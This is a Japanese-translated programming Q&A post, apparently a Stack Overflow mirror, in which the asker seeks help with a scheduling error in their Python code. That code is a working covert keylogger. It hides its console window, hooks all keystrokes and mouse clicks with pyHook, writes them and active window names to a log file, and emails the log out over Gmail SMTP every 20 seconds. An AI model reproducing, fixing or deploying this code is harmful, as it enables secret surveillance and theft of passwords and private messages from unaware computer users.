0

pyHook を使用してコンピューターのキーをフックし、これらのキーのログを作成しています。今、私はこのログを間隔で送信しようとしていますが、取得するのはこれだけです:ロガー「apscheduler.scheduler」のハンドラーが見つかりませんでした

これは私のコードです。どうすればよいですか?

import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
from apscheduler.scheduler import Scheduler

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

sched = Scheduler()
sched.start()

def sendEmail():
    print("ready to send email")
    fromaddr = 'XXX@gmail.com'
    toaddrs  = 'XXX@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'XXX'
    password = 'XXX'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

def email():
    openfile.close()
    sendEmail()
    openfile = open(logpath,"w")

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()

sched.add_interval_job(email,seconds=20)

pythoncom.PumpMessages()
4

1 に答える 1